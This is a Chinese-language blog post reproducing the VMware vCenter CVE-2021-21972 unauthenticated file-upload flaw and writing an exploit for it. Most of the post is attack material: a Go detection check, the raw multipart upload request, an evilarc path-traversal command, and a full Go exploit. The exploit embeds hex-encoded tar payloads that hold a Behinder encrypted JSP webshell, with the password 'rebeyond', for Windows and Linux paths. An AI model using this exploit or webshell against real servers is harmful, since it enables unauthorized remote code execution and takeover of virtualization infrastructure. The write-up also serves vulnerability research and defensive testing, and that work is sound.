VMware vCenter RCE (CVE-2021-21972) 漏洞复现与 Exp 编写

原创 tardc 涛涛不帅

VMware vCenter RCE (CVE-2021-21972) 漏洞复现与 Exp 编写

从该漏洞发现者的文章 Unauthorized RCE in VMware vCenter^[1] 可以看到，该漏洞产生的原因在于 /ui/vropspluginui/rest/services/* 路径并没有做到权限控制；而 /ui/vropspluginui/rest/services/uploadova 路径恰好可以实现文件上传，两个漏洞结合便达到了未授权文件上传的目的。

PoC 构造

由于 Linux 和 Windows 中 VMware vCenter 的安全路径不同，所以使用文件上传去验证漏洞是否存在有一定的复杂性。不过测试发现，其实利用报错的方式也可以达到验证的目的。

因为，当我们使用 POST 方法向 /ui/vropspluginui/rest/services/uploadova 路径发包时，可以看到报错信息中提到了 Required CommonsMultipartFile parameter 'uploadFile' is not present 错误信息。从字面意思可以看到就是因为没有指定上传参数的值才导致的报错，所以有理由相信该系统存在漏洞。利用这个信息，我们就可以写出简单的 PoC 了。

func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {    vulUri1 := "/ui/vropspluginui/rest/services/getstatus"    resp1, err := httpclient.SimpleGet(u.FixedHostInfo + vulUri1)    if err != nil {        return false    }    vulUri2 := "/ui/vropspluginui/rest/services/uploadova"    cfg := httpclient.NewPostRequestConfig(vulUri2)    cfg.VerifyTls = false    resp2, err := httpclient.DoHttpRequest(u, cfg)    if err != nil {        return false    }    if resp1.StatusCode == 200 && strings.Contains(resp1.Utf8Html, "States") &&        resp2.StatusCode == 500 && strings.Contains(resp2.Utf8Html, "uploadFile") {        return true    }    return false}

Exp 构造

Exp 就要实际利用该漏洞了，由于在 Windows 和 Linux 上 VMware vCenter 的安装路径不同，所以需要不同的 Payload。关键是要找到可写的并且可以访问的目录，然后用特定目录构造 Payload 就好了。POST 文件上传的 HTTP 请求包如下，我们只要将用 Webshell 生成的 tar 包内容填上即可。

POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1Host: vSphereClient.localConnection: closeAccept: application/jsonContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VDContent-Length: 10425
------WebKitFormBoundaryH8GoragzRFVTw1VDContent-Disposition: form-data; name="uploadFile"; filename="a.ova"Content-Type: text/plain
{craftedArchive}------WebKitFormBoundaryH8GoragzRFVTw1VD--

RCE on Windows

在漏洞发现者的文章中已经提到 Windows 系统中 VMware vCenter 的一个可写可访问的路径是 C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\ ，所以我们只要让 Webshell 写到该路径即可。使用 evilarc^[2] 工具生成包含 Webshell 的 tar 文件，然后将 tar 文件上传即可 getshell。

python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl.tar shell.jsp

RCE on Linux

漏洞发现者文章中提到在 Linux 中未发现可写可访问的 VMware vCenter 路径，所以用了写 SSH 公钥的方式。从其他安全研究者得知其实 Linux 也是有可写可访问路径的，不过该路径好像并不固定，本次复现使用了 /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources/ 路径。复现过程与 Windows 平台相同，就不贴图了。

在写 Exp 的时候，对于生成的 tar 文件我们使用 xxd 命令将文件内容输出为 Hex 字节流，然后在代码中再做相应处理即可得到文件内容。

func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {    if ss.Params["AttackType"].(string) == "windows_webshell" {        payloadHex := "2e2f2e2f404c6f6e674c696e6b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030303030303030003030303030303000303030303030300030303030303030303136340030303030303030303030300030313132313600204c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007573746172202000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003030303030303000303030303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c50726f6772616d446174615c564d776172655c7643656e7465725365727665725c646174615c706572666368617274735c74632d696e7374616e63655c776562617070735c73746174737265706f72745c4e6576745368656c6572457869736c2e6a7370000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c50726f6772616d446174615c564d776172655c7643656e7465725365727665725c646174615c706572666368617274735c74632d696e7374616e63655c776562617070735c73746174737265706f72745c4e657674303030303737370030303031373530003030303137353000303030303030303131373100313430313534333037313100303333333732002030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007573746172202000626d680000000000000000000000000000000000000000000000000000000000626d6800000000000000000000000000000000000000000000000000000000003030303030303000303030303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b2f2ae8afa5e5af86e992a5e4b8bae8bf9ee68ea5e5af86e7a0813332e4bd8d6d6435e580bce79a84e5898d3136e4bd8defbc8ce9bb98e8aea4e8bf9ee68ea5e5af86e7a08172656265796f6e642a2f73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d2f2a316b646e77627279324c7949377079412a2f253e0a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000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       payloadBytes, err := hex.DecodeString(payloadHex)        if err != nil {            return expResult        }        cfg := httpclient.NewPostRequestConfig("/ui/vropspluginui/rest/services/uploadova")        cfg.VerifyTls = false        cfg.Header.Store("Accept", "application/json")        cfg.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD")        cfg.Data = "------WebKitFormBoundaryH8GoragzRFVTw1VD\r\nContent-Disposition: form-data; name=\"uploadFile\"; filename=\"a.ova\"\r\nContent-Type: text/plain\r\n\r\n"        cfg.Data += string(payloadBytes)        cfg.Data += "\r\n------WebKitFormBoundaryH8GoragzRFVTw1VD--"        if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil && resp.StatusCode == 200 {            if resp, err := httpclient.SimpleGet(expResult.HostInfo.FixedHostInfo + "/statsreport/NevtShelerExisl.jsp"); err == nil &&                resp.StatusCode == 200 {                expResult.Success = true                expResult.Output = "Webshell: " + expResult.HostInfo.FixedHostInfo + "/statsreport/NevtShelerExisl.jsp\n"                expResult.Output += "Password：rebeyond\n"                expResult.Output += "Webshell tool: Behinder v3.0"            }        }    } else if ss.Params["AttackType"].(string) == "linux_webshell" {        payloadHex := "2e2e2f2e2e2f7573722f6c69622f766d776172652d767370686572652d75692f7365727665722f776f726b2f6465706c6f7965722f732f676c6f62616c2f34322f302f68356e67632e7761722f7265736f75726365732f00000000000000000000000000303030303735350030303030303030003030303030303000303030303030303030303000313430313534333132313000303237313435002035000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007573746172202000726f6f7400000000000000000000000000000000000000000000000000000000726f6f74000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e2e2f2e2e2f7573722f6c69622f766d776172652d767370686572652d75692f7365727665722f776f726b2f6465706c6f7965722f732f676c6f62616c2f34322f302f68356e67632e7761722f7265736f75726365732f7368656c6c2e6a737000000000303030303634340030303030303030003030303030303000303030303030303131373100313430313534333037313100303330373737002030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007573746172202000726f6f7400000000000000000000000000000000000000000000000000000000726f6f74000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b2f2ae8afa5e5af86e992a5e4b8bae8bf9ee68ea5e5af86e7a0813332e4bd8d6d6435e580bce79a84e5898d3136e4bd8defbc8ce9bb98e8aea4e8bf9ee68ea5e5af86e7a08172656265796f6e642a2f73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d2f2a316b646e77627279324c7949377079412a2f253e0a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000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       payloadBytes, err := hex.DecodeString(payloadHex)        if err != nil {            return expResult        }        cfg := httpclient.NewPostRequestConfig("/ui/vropspluginui/rest/services/uploadova")        cfg.VerifyTls = false        cfg.Header.Store("Accept", "application/json")        cfg.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD")        cfg.Data = "------WebKitFormBoundaryH8GoragzRFVTw1VD\r\nContent-Disposition: form-data; name=\"uploadFile\"; filename=\"a.ova\"\r\nContent-Type: text/plain\r\n\r\n"        cfg.Data += string(payloadBytes)        cfg.Data += "\r\n------WebKitFormBoundaryH8GoragzRFVTw1VD--"        if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil && resp.StatusCode == 200 {            if resp, err := httpclient.SimpleGet(expResult.HostInfo.FixedHostInfo + "/ui/resources/shell.jsp"); err == nil &&                resp.StatusCode == 200 {                expResult.Success = true                expResult.Output = "Webshell: " + expResult.HostInfo.FixedHostInfo + "/ui/resources/shell.jsp\n"                expResult.Output += "Password：rebeyond\n"                expResult.Output += "Webshell tool: Behinder v3.0"            }        }    }    return expResult}

本 Exp 当然还有改进的地方，比如说 Webshell 文件名随机化，对于 Linux 系统还可以再加一个写 SSH 公钥的攻击方式。这次就先到这吧，希望对读者有帮助。

References

[1] Unauthorized RCE in VMware vCenter: https://swarm.ptsecurity.com/unauth-rce-vmware/
[2] evilarc: https://github.com/ptoomey3/evilarc

继续滑动看下一个